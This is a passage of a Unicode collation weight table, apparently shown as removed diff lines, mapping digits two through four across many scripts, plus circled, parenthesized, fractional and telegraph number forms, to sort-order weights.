-0F22  ; [.1BBA.0020.0002] # TIBETAN DIGIT TWO
-1042  ; [.1BBA.0020.0002] # MYANMAR DIGIT TWO
-1092  ; [.1BBA.0020.0002] # MYANMAR SHAN DIGIT TWO
-136A  ; [.1BBA.0020.0002] # ETHIOPIC DIGIT TWO
-17E2  ; [.1BBA.0020.0002] # KHMER DIGIT TWO
-17F2  ; [.1BBA.0020.0002] # KHMER SYMBOL LEK ATTAK PII
-1812  ; [.1BBA.0020.0002] # MONGOLIAN DIGIT TWO
-1948  ; [.1BBA.0020.0002] # LIMBU DIGIT TWO
-19D2  ; [.1BBA.0020.0002] # NEW TAI LUE DIGIT TWO
-1A82  ; [.1BBA.0020.0002] # TAI THAM HORA DIGIT TWO
-1A92  ; [.1BBA.0020.0002] # TAI THAM THAM DIGIT TWO
-1B52  ; [.1BBA.0020.0002] # BALINESE DIGIT TWO
-1BB2  ; [.1BBA.0020.0002] # SUNDANESE DIGIT TWO
-1C42  ; [.1BBA.0020.0002] # LEPCHA DIGIT TWO
-1C52  ; [.1BBA.0020.0002] # OL CHIKI DIGIT TWO
-3022  ; [.1BBA.0020.0002] # HANGZHOU NUMERAL TWO
-A622  ; [.1BBA.0020.0002] # VAI DIGIT TWO
-A8D2  ; [.1BBA.0020.0002] # SAURASHTRA DIGIT TWO
-A902  ; [.1BBA.0020.0002] # KAYAH LI DIGIT TWO
-A9D2  ; [.1BBA.0020.0002] # JAVANESE DIGIT TWO
-A9F2  ; [.1BBA.0020.0002] # MYANMAR TAI LAING DIGIT TWO
-AA52  ; [.1BBA.0020.0002] # CHAM DIGIT TWO
-ABF2  ; [.1BBA.0020.0002] # MEETEI MAYEK DIGIT TWO
-10108 ; [.1BBA.0020.0002] # AEGEAN NUMBER TWO
-1015B ; [.1BBA.0020.0002] # GREEK ACROPHONIC EPIDAUREAN TWO
-1015C ; [.1BBA.0020.0002] # GREEK ACROPHONIC THESPIAN TWO
-1015D ; [.1BBA.0020.0002] # GREEK ACROPHONIC CYRENAIC TWO DRACHMAS
-1015E ; [.1BBA.0020.0002] # GREEK ACROPHONIC EPIDAUREAN TWO DRACHMAS
-102E2 ; [.1BBA.0020.0002] # COPTIC EPACT DIGIT TWO
-103D2 ; [.1BBA.0020.0002] # OLD PERSIAN NUMBER TWO
-104A2 ; [.1BBA.0020.0002] # OSMANYA DIGIT TWO
-10859 ; [.1BBA.0020.0002] # IMPERIAL ARAMAIC NUMBER TWO
-1087A ; [.1BBA.0020.0002] # PALMYRENE NUMBER TWO
-108A8 ; [.1BBA.0020.0002] # NABATAEAN NUMBER TWO
-1091A ; [.1BBA.0020.0002] # PHOENICIAN NUMBER TWO
-109C1 ; [.1BBA.0020.0002] # MEROITIC CURSIVE NUMBER TWO
-10A41 ; [.1BBA.0020.0002] # KHAROSHTHI DIGIT TWO
-10B59 ; [.1BBA.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER TWO
-10B79 ; [.1BBA.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER TWO
-10BAA ; [.1BBA.0020.0002] # PSALTER PAHLAVI NUMBER TWO
-10E61 ; [.1BBA.0020.0002] # RUMI DIGIT TWO
-11053 ; [.1BBA.0020.0002] # BRAHMI NUMBER TWO
-11068 ; [.1BBA.0020.0002] # BRAHMI DIGIT TWO
-110F2 ; [.1BBA.0020.0002] # SORA SOMPENG DIGIT TWO
-11138 ; [.1BBA.0020.0002] # CHAKMA DIGIT TWO
-111D2 ; [.1BBA.0020.0002] # SHARADA DIGIT TWO
-111E2 ; [.1BBA.0020.0002] # SINHALA ARCHAIC DIGIT TWO
-112F2 ; [.1BBA.0020.0002] # KHUDAWADI DIGIT TWO
-114D2 ; [.1BBA.0020.0002] # TIRHUTA DIGIT TWO
-11652 ; [.1BBA.0020.0002] # MODI DIGIT TWO
-116C2 ; [.1BBA.0020.0002] # TAKRI DIGIT TWO
-11732 ; [.1BBA.0020.0002] # AHOM DIGIT TWO
-118E2 ; [.1BBA.0020.0002] # WARANG CITI DIGIT TWO
-12400 ; [.1BBA.0020.0002] # CUNEIFORM NUMERIC SIGN TWO ASH
-12416 ; [.1BBA.0020.0002] # CUNEIFORM NUMERIC SIGN TWO GESH2
-1241F ; [.1BBA.0020.0002] # CUNEIFORM NUMERIC SIGN TWO GESHU
-12423 ; [.1BBA.0020.0002] # CUNEIFORM NUMERIC SIGN TWO SHAR2
-1242D ; [.1BBA.0020.0002] # CUNEIFORM NUMERIC SIGN TWO SHARU
-12435 ; [.1BBA.0020.0002] # CUNEIFORM NUMERIC SIGN TWO BURU
-1244A ; [.1BBA.0020.0002] # CUNEIFORM NUMERIC SIGN TWO ASH TENU
-12450 ; [.1BBA.0020.0002] # CUNEIFORM NUMERIC SIGN TWO BAN2
-12456 ; [.1BBA.0020.0002] # CUNEIFORM NUMERIC SIGN NIGIDAMIN
-12459 ; [.1BBA.0020.0002] # CUNEIFORM NUMERIC SIGN TWO ESHE3
-16A62 ; [.1BBA.0020.0002] # MRO DIGIT TWO
-16B52 ; [.1BBA.0020.0002] # PAHAWH HMONG DIGIT TWO
-1D361 ; [.1BBA.0020.0002] # COUNTING ROD UNIT DIGIT TWO
-1E8C8 ; [.1BBA.0020.0002] # MENDE KIKAKUI DIGIT TWO
-FF12  ; [.1BBA.0020.0003] # FULLWIDTH DIGIT TWO
-0F2B  ; [.1BBA.0020.0004] # TIBETAN DIGIT HALF TWO
-2475  ; [*0310.0020.0004][.1BBA.0020.0004][*0311.0020.0004] # PARENTHESIZED DIGIT TWO
-2489  ; [.1BBA.0020.0004][*0274.0020.0004] # DIGIT TWO FULL STOP
-1F103 ; [.1BBA.0020.0004][*0221.0020.0004] # DIGIT TWO COMMA
-1D7D0 ; [.1BBA.0020.0005] # MATHEMATICAL BOLD DIGIT TWO
-1D7DA ; [.1BBA.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT TWO
-1D7E4 ; [.1BBA.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT TWO
-1D7EE ; [.1BBA.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT TWO
-1D7F8 ; [.1BBA.0020.0005] # MATHEMATICAL MONOSPACE DIGIT TWO
-2461  ; [.1BBA.0020.0006] # CIRCLED DIGIT TWO
-24F6  ; [.1BBA.0020.0006] # DOUBLE CIRCLED DIGIT TWO
-2777  ; [.1BBA.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT TWO
-2781  ; [.1BBA.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT TWO
-278B  ; [.1BBA.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT TWO
-00B2  ; [.1BBA.0020.0014] # SUPERSCRIPT TWO
-2082  ; [.1BBA.0020.0015] # SUBSCRIPT TWO
-2487  ; [*0310.0020.0004][.1BBA.0020.0004][.1BB8.0020.0004][*0311.0020.0004] # PARENTHESIZED NUMBER TWENTY
-249B  ; [.1BBA.0020.0004][.1BB8.0020.0004][*0274.0020.0004] # NUMBER TWENTY FULL STOP
-2473  ; [.1BBA.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER TWENTY
-24F4  ; [.1BBA.0020.0006][.1BB8.0020.0006] # NEGATIVE CIRCLED NUMBER TWENTY
-3249  ; [.1BBA.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER TWENTY ON BLACK SQUARE
-33F3  ; [.1BBA.0020.0004][.1BB8.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY
-336C  ; [.1BBA.0020.0004][.1BB8.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY
-3251  ; [.1BBA.0020.0006][.1BB9.0020.0006] # CIRCLED NUMBER TWENTY ONE
-33F4  ; [.1BBA.0020.0004][.1BB9.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-ONE
-336D  ; [.1BBA.0020.0004][.1BB9.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-ONE
-3252  ; [.1BBA.0020.0006][.1BBA.0020.0006] # CIRCLED NUMBER TWENTY TWO
-33F5  ; [.1BBA.0020.0004][.1BBA.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-TWO
-336E  ; [.1BBA.0020.0004][.1BBA.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-TWO
-3253  ; [.1BBA.0020.0006][.1BBB.0020.0006] # CIRCLED NUMBER TWENTY THREE
-2154  ; [.1BBA.0020.001E][*0606.0020.001E][.1BBB.0020.001E] # VULGAR FRACTION TWO THIRDS
-33F6  ; [.1BBA.0020.0004][.1BBB.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-THREE
-336F  ; [.1BBA.0020.0004][.1BBB.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-THREE
-3254  ; [.1BBA.0020.0006][.1BBC.0020.0006] # CIRCLED NUMBER TWENTY FOUR
-33F7  ; [.1BBA.0020.0004][.1BBC.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FOUR
-3370  ; [.1BBA.0020.0004][.1BBC.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-FOUR
-3255  ; [.1BBA.0020.0006][.1BBD.0020.0006] # CIRCLED NUMBER TWENTY FIVE
-2156  ; [.1BBA.0020.001E][*0606.0020.001E][.1BBD.0020.001E] # VULGAR FRACTION TWO FIFTHS
-33F8  ; [.1BBA.0020.0004][.1BBD.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FIVE
-3256  ; [.1BBA.0020.0006][.1BBE.0020.0006] # CIRCLED NUMBER TWENTY SIX
-33F9  ; [.1BBA.0020.0004][.1BBE.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SIX
-3257  ; [.1BBA.0020.0006][.1BBF.0020.0006] # CIRCLED NUMBER TWENTY SEVEN
-33FA  ; [.1BBA.0020.0004][.1BBF.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SEVEN
-3258  ; [.1BBA.0020.0006][.1BC0.0020.0006] # CIRCLED NUMBER TWENTY EIGHT
-33FB  ; [.1BBA.0020.0004][.1BC0.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-EIGHT
-3259  ; [.1BBA.0020.0006][.1BC1.0020.0006] # CIRCLED NUMBER TWENTY NINE
-33FC  ; [.1BBA.0020.0004][.1BC1.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-NINE
-33E1  ; [.1BBA.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWO
-32C1  ; [.1BBA.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR FEBRUARY
-335A  ; [.1BBA.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWO
-0033  ; [.1BBB.0020.0002] # DIGIT THREE
-0663  ; [.1BBB.0020.0002] # ARABIC-INDIC DIGIT THREE
-06F3  ; [.1BBB.0020.0002] # EXTENDED ARABIC-INDIC DIGIT THREE
-07C3  ; [.1BBB.0020.0002] # NKO DIGIT THREE
-0969  ; [.1BBB.0020.0002] # DEVANAGARI DIGIT THREE
-09E9  ; [.1BBB.0020.0002] # BENGALI DIGIT THREE
-0A69  ; [.1BBB.0020.0002] # GURMUKHI DIGIT THREE
-0AE9  ; [.1BBB.0020.0002] # GUJARATI DIGIT THREE
-0B69  ; [.1BBB.0020.0002] # ORIYA DIGIT THREE
-0BE9  ; [.1BBB.0020.0002] # TAMIL DIGIT THREE
-0C69  ; [.1BBB.0020.0002] # TELUGU DIGIT THREE
-0C7B  ; [.1BBB.0020.0002] # TELUGU FRACTION DIGIT THREE FOR ODD POWERS OF FOUR
-0C7E  ; [.1BBB.0020.0002] # TELUGU FRACTION DIGIT THREE FOR EVEN POWERS OF FOUR
-0CE9  ; [.1BBB.0020.0002] # KANNADA DIGIT THREE
-0D69  ; [.1BBB.0020.0002] # MALAYALAM DIGIT THREE
-0DE9  ; [.1BBB.0020.0002] # SINHALA LITH DIGIT THREE
-0E53  ; [.1BBB.0020.0002] # THAI DIGIT THREE
-0ED3  ; [.1BBB.0020.0002] # LAO DIGIT THREE
-0F23  ; [.1BBB.0020.0002] # TIBETAN DIGIT THREE
-1043  ; [.1BBB.0020.0002] # MYANMAR DIGIT THREE
-1093  ; [.1BBB.0020.0002] # MYANMAR SHAN DIGIT THREE
-136B  ; [.1BBB.0020.0002] # ETHIOPIC DIGIT THREE
-17E3  ; [.1BBB.0020.0002] # KHMER DIGIT THREE
-17F3  ; [.1BBB.0020.0002] # KHMER SYMBOL LEK ATTAK BEI
-1813  ; [.1BBB.0020.0002] # MONGOLIAN DIGIT THREE
-1949  ; [.1BBB.0020.0002] # LIMBU DIGIT THREE
-19D3  ; [.1BBB.0020.0002] # NEW TAI LUE DIGIT THREE
-1A83  ; [.1BBB.0020.0002] # TAI THAM HORA DIGIT THREE
-1A93  ; [.1BBB.0020.0002] # TAI THAM THAM DIGIT THREE
-1B53  ; [.1BBB.0020.0002] # BALINESE DIGIT THREE
-1BB3  ; [.1BBB.0020.0002] # SUNDANESE DIGIT THREE
-1C43  ; [.1BBB.0020.0002] # LEPCHA DIGIT THREE
-1C53  ; [.1BBB.0020.0002] # OL CHIKI DIGIT THREE
-3023  ; [.1BBB.0020.0002] # HANGZHOU NUMERAL THREE
-A623  ; [.1BBB.0020.0002] # VAI DIGIT THREE
-A8D3  ; [.1BBB.0020.0002] # SAURASHTRA DIGIT THREE
-A903  ; [.1BBB.0020.0002] # KAYAH LI DIGIT THREE
-A9D3  ; [.1BBB.0020.0002] # JAVANESE DIGIT THREE
-A9F3  ; [.1BBB.0020.0002] # MYANMAR TAI LAING DIGIT THREE
-AA53  ; [.1BBB.0020.0002] # CHAM DIGIT THREE
-ABF3  ; [.1BBB.0020.0002] # MEETEI MAYEK DIGIT THREE
-10109 ; [.1BBB.0020.0002] # AEGEAN NUMBER THREE
-102E3 ; [.1BBB.0020.0002] # COPTIC EPACT DIGIT THREE
-104A3 ; [.1BBB.0020.0002] # OSMANYA DIGIT THREE
-1085A ; [.1BBB.0020.0002] # IMPERIAL ARAMAIC NUMBER THREE
-1087B ; [.1BBB.0020.0002] # PALMYRENE NUMBER THREE
-108A9 ; [.1BBB.0020.0002] # NABATAEAN NUMBER THREE
-1091B ; [.1BBB.0020.0002] # PHOENICIAN NUMBER THREE
-109C2 ; [.1BBB.0020.0002] # MEROITIC CURSIVE NUMBER THREE
-10A42 ; [.1BBB.0020.0002] # KHAROSHTHI DIGIT THREE
-10B5A ; [.1BBB.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER THREE
-10B7A ; [.1BBB.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER THREE
-10BAB ; [.1BBB.0020.0002] # PSALTER PAHLAVI NUMBER THREE
-10E62 ; [.1BBB.0020.0002] # RUMI DIGIT THREE
-11054 ; [.1BBB.0020.0002] # BRAHMI NUMBER THREE
-11069 ; [.1BBB.0020.0002] # BRAHMI DIGIT THREE
-110F3 ; [.1BBB.0020.0002] # SORA SOMPENG DIGIT THREE
-11139 ; [.1BBB.0020.0002] # CHAKMA DIGIT THREE
-111D3 ; [.1BBB.0020.0002] # SHARADA DIGIT THREE
-111E3 ; [.1BBB.0020.0002] # SINHALA ARCHAIC DIGIT THREE
-112F3 ; [.1BBB.0020.0002] # KHUDAWADI DIGIT THREE
-114D3 ; [.1BBB.0020.0002] # TIRHUTA DIGIT THREE
-11653 ; [.1BBB.0020.0002] # MODI DIGIT THREE
-116C3 ; [.1BBB.0020.0002] # TAKRI DIGIT THREE
-11733 ; [.1BBB.0020.0002] # AHOM DIGIT THREE
-118E3 ; [.1BBB.0020.0002] # WARANG CITI DIGIT THREE
-12401 ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE ASH
-12408 ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE DISH
-12417 ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE GESH2
-12420 ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE GESHU
-12424 ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE SHAR2
-12425 ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE SHAR2 VARIANT FORM
-1242E ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE SHARU
-1242F ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE SHARU VARIANT FORM
-12436 ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE BURU
-12437 ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE BURU VARIANT FORM
-1243A ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE VARIANT FORM ESH16
-1243B ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE VARIANT FORM ESH21
-1244B ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE ASH TENU
-12451 ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN THREE BAN2
-12457 ; [.1BBB.0020.0002] # CUNEIFORM NUMERIC SIGN NIGIDAESH
-16A63 ; [.1BBB.0020.0002] # MRO DIGIT THREE
-16B53 ; [.1BBB.0020.0002] # PAHAWH HMONG DIGIT THREE
-1D362 ; [.1BBB.0020.0002] # COUNTING ROD UNIT DIGIT THREE
-1E8C9 ; [.1BBB.0020.0002] # MENDE KIKAKUI DIGIT THREE
-FF13  ; [.1BBB.0020.0003] # FULLWIDTH DIGIT THREE
-0F2C  ; [.1BBB.0020.0004] # TIBETAN DIGIT HALF THREE
-2476  ; [*0310.0020.0004][.1BBB.0020.0004][*0311.0020.0004] # PARENTHESIZED DIGIT THREE
-248A  ; [.1BBB.0020.0004][*0274.0020.0004] # DIGIT THREE FULL STOP
-1F104 ; [.1BBB.0020.0004][*0221.0020.0004] # DIGIT THREE COMMA
-1D7D1 ; [.1BBB.0020.0005] # MATHEMATICAL BOLD DIGIT THREE
-1D7DB ; [.1BBB.0020.0005] # MATHEMATICAL DOUBLE-STRUCK DIGIT THREE
-1D7E5 ; [.1BBB.0020.0005] # MATHEMATICAL SANS-SERIF DIGIT THREE
-1D7EF ; [.1BBB.0020.0005] # MATHEMATICAL SANS-SERIF BOLD DIGIT THREE
-1D7F9 ; [.1BBB.0020.0005] # MATHEMATICAL MONOSPACE DIGIT THREE
-2462  ; [.1BBB.0020.0006] # CIRCLED DIGIT THREE
-24F7  ; [.1BBB.0020.0006] # DOUBLE CIRCLED DIGIT THREE
-2778  ; [.1BBB.0020.0006] # DINGBAT NEGATIVE CIRCLED DIGIT THREE
-2782  ; [.1BBB.0020.0006] # DINGBAT CIRCLED SANS-SERIF DIGIT THREE
-278C  ; [.1BBB.0020.0006] # DINGBAT NEGATIVE CIRCLED SANS-SERIF DIGIT THREE
-00B3  ; [.1BBB.0020.0014] # SUPERSCRIPT THREE
-2083  ; [.1BBB.0020.0015] # SUBSCRIPT THREE
-324A  ; [.1BBB.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER THIRTY ON BLACK SQUARE
-325A  ; [.1BBB.0020.0006][.1BB8.0020.0006] # CIRCLED NUMBER THIRTY
-33FD  ; [.1BBB.0020.0004][.1BB8.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY
-325B  ; [.1BBB.0020.0006][.1BB9.0020.0006] # CIRCLED NUMBER THIRTY ONE
-33FE  ; [.1BBB.0020.0004][.1BB9.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY-ONE
-325C  ; [.1BBB.0020.0006][.1BBA.0020.0006] # CIRCLED NUMBER THIRTY TWO
-325D  ; [.1BBB.0020.0006][.1BBB.0020.0006] # CIRCLED NUMBER THIRTY THREE
-325E  ; [.1BBB.0020.0006][.1BBC.0020.0006] # CIRCLED NUMBER THIRTY FOUR
-00BE  ; [.1BBB.0020.001E][*0606.0020.001E][.1BBC.0020.001E] # VULGAR FRACTION THREE QUARTERS
-325F  ; [.1BBB.0020.0006][.1BBD.0020.0006] # CIRCLED NUMBER THIRTY FIVE
-2157  ; [.1BBB.0020.001E][*0606.0020.001E][.1BBD.0020.001E] # VULGAR FRACTION THREE FIFTHS
-32B1  ; [.1BBB.0020.0006][.1BBE.0020.0006] # CIRCLED NUMBER THIRTY SIX
-32B2  ; [.1BBB.0020.0006][.1BBF.0020.0006] # CIRCLED NUMBER THIRTY SEVEN
-32B3  ; [.1BBB.0020.0006][.1BC0.0020.0006] # CIRCLED NUMBER THIRTY EIGHT
-215C  ; [.1BBB.0020.001E][*0606.0020.001E][.1BC0.0020.001E] # VULGAR FRACTION THREE EIGHTHS
-32B4  ; [.1BBB.0020.0006][.1BC1.0020.0006] # CIRCLED NUMBER THIRTY NINE
-33E2  ; [.1BBB.0020.0004][.FB40.0020.0004][.E5E5.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THREE
-32C2  ; [.1BBB.0020.0004][.FB40.0020.0004][.E708.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR MARCH
-335B  ; [.1BBB.0020.0004][.FB40.0020.0004][.F0B9.0000.0000] # IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THREE
-0034  ; [.1BBC.0020.0002] # DIGIT FOUR
-0664  ; [.1BBC.0020.0002] # ARABIC-INDIC DIGIT FOUR
-06F4  ; [.1BBC.0020.0002] # EXTENDED ARABIC-INDIC DIGIT FOUR
-07C4  ; [.1BBC.0020.0002] # NKO DIGIT FOUR
-096A  ; [.1BBC.0020.0002] # DEVANAGARI DIGIT FOUR
-09EA  ; [.1BBC.0020.0002] # BENGALI DIGIT FOUR
-0A6A  ; [.1BBC.0020.0002] # GURMUKHI DIGIT FOUR
-0AEA  ; [.1BBC.0020.0002] # GUJARATI DIGIT FOUR
-0B6A  ; [.1BBC.0020.0002] # ORIYA DIGIT FOUR
-0BEA  ; [.1BBC.0020.0002] # TAMIL DIGIT FOUR
-0C6A  ; [.1BBC.0020.0002] # TELUGU DIGIT FOUR
-0CEA  ; [.1BBC.0020.0002] # KANNADA DIGIT FOUR
-0D6A  ; [.1BBC.0020.0002] # MALAYALAM DIGIT FOUR
-0DEA  ; [.1BBC.0020.0002] # SINHALA LITH DIGIT FOUR
-0E54  ; [.1BBC.0020.0002] # THAI DIGIT FOUR
-0ED4  ; [.1BBC.0020.0002] # LAO DIGIT FOUR
-0F24  ; [.1BBC.0020.0002] # TIBETAN DIGIT FOUR
-1044  ; [.1BBC.0020.0002] # MYANMAR DIGIT FOUR
-1094  ; [.1BBC.0020.0002] # MYANMAR SHAN DIGIT FOUR
-136C  ; [.1BBC.0020.0002] # ETHIOPIC DIGIT FOUR
-17E4  ; [.1BBC.0020.0002] # KHMER DIGIT FOUR
-17F4  ; [.1BBC.0020.0002] # KHMER SYMBOL LEK ATTAK BUON
-1814  ; [.1BBC.0020.0002] # MONGOLIAN DIGIT FOUR
-194A  ; [.1BBC.0020.0002] # LIMBU DIGIT FOUR
-19D4  ; [.1BBC.0020.0002] # NEW TAI LUE DIGIT FOUR
-1A84  ; [.1BBC.0020.0002] # TAI THAM HORA DIGIT FOUR
-1A94  ; [.1BBC.0020.0002] # TAI THAM THAM DIGIT FOUR
-1B54  ; [.1BBC.0020.0002] # BALINESE DIGIT FOUR
-1BB4  ; [.1BBC.0020.0002] # SUNDANESE DIGIT FOUR
-1C44  ; [.1BBC.0020.0002] # LEPCHA DIGIT FOUR
-1C54  ; [.1BBC.0020.0002] # OL CHIKI DIGIT FOUR
-3024  ; [.1BBC.0020.0002] # HANGZHOU NUMERAL FOUR
-A624  ; [.1BBC.0020.0002] # VAI DIGIT FOUR
-A8D4  ; [.1BBC.0020.0002] # SAURASHTRA DIGIT FOUR
-A904  ; [.1BBC.0020.0002] # KAYAH LI DIGIT FOUR
-A9D4  ; [.1BBC.0020.0002] # JAVANESE DIGIT FOUR
-A9F4  ; [.1BBC.0020.0002] # MYANMAR TAI LAING DIGIT FOUR
-AA54  ; [.1BBC.0020.0002] # CHAM DIGIT FOUR
-ABF4  ; [.1BBC.0020.0002] # MEETEI MAYEK DIGIT FOUR
-1010A ; [.1BBC.0020.0002] # AEGEAN NUMBER FOUR
-102E4 ; [.1BBC.0020.0002] # COPTIC EPACT DIGIT FOUR
-104A4 ; [.1BBC.0020.0002] # OSMANYA DIGIT FOUR
-1087C ; [.1BBC.0020.0002] # PALMYRENE NUMBER FOUR
-108AA ; [.1BBC.0020.0002] # NABATAEAN NUMBER FOUR
-108AB ; [.1BBC.0020.0002] # NABATAEAN CRUCIFORM NUMBER FOUR
-109C3 ; [.1BBC.0020.0002] # MEROITIC CURSIVE NUMBER FOUR
-10A43 ; [.1BBC.0020.0002] # KHAROSHTHI DIGIT FOUR
-10B5B ; [.1BBC.0020.0002] # INSCRIPTIONAL PARTHIAN NUMBER FOUR
-10B7B ; [.1BBC.0020.0002] # INSCRIPTIONAL PAHLAVI NUMBER FOUR
-10BAC ; [.1BBC.0020.0002] # PSALTER PAHLAVI NUMBER FOUR
-10E63 ; [.1BBC.0020.0002] # RUMI DIGIT FOUR
-11055 ; [.1BBC.0020.0002] # BRAHMI NUMBER FOUR
-1106A ; [.1BBC.0020.0002] # BRAHMI DIGIT FOUR
-110F4 ; [.1BBC.0020.0002] # SORA SOMPENG DIGIT FOUR
-1113A ; [.1BBC.0020.0002] # CHAKMA DIGIT FOUR
-111D4 ; [.1BBC.0020.0002] # SHARADA DIGIT FOUR
-111E4 ; [.1BBC.0020.0002] # SINHALA ARCHAIC DIGIT FOUR
-112F4 ; [.1BBC.0020.0002] # KHUDAWADI DIGIT FOUR
-114D4 ; [.1BBC.0020.0002] # TIRHUTA DIGIT FOUR
-11654 ; [.1BBC.0020.0002] # MODI DIGIT FOUR
-116C4 ; [.1BBC.0020.0002] # TAKRI DIGIT FOUR
-11734 ; [.1BBC.0020.0002] # AHOM DIGIT FOUR
-118E4 ; [.1BBC.0020.0002] # WARANG CITI DIGIT FOUR
-12402 ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR ASH
-12409 ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR DISH
-1240F ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR U
-12418 ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR GESH2
-12421 ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR GESHU
-12426 ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR SHAR2
-12430 ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR SHARU
-12438 ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR BURU
-1243C ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR VARIANT FORM LIMMU
-1243D ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR VARIANT FORM LIMMU4
-1243E ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR VARIANT FORM LIMMU A
-1243F ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR VARIANT FORM LIMMU B
-1244C ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR ASH TENU
-12452 ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR BAN2
-12453 ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR BAN2 VARIANT FORM
-12469 ; [.1BBC.0020.0002] # CUNEIFORM NUMERIC SIGN FOUR U VARIANT FORM
-16A64 ; [.1BBC.0020.0002] # MRO DIGIT FOUR
-16B54 ; [.1BBC.0020.0002] # PAHAWH HMONG DIGIT FOUR
-1D363 ; [.1BBC.0020.0002] # COUNTING ROD UNIT DIGIT FOUR
-1E8CA ; [.1BBC.0020.0002] # MENDE KIKAKUI DIGIT FOUR
-FF14  ; [.1BBC.0020.0003] # FULLWIDTH DIGIT FOUR
-0F2D  ; [.1BBC.0020.0004] # TIBETAN DIGIT HALF FOUR
-2477  ; [*0310.0020.0004][.1BBC.0020.0004][*0311.0020.0004] # PARENTHESIZED DIGIT FOUR
-248B  ; [.1BBC.0020.0004][*0274.0020.0004] # DIGIT FOUR FULL STOP
-1F105 ; [.1BBC.0020.0004][*0221.0020.0004] # DIGIT FOUR COMMA
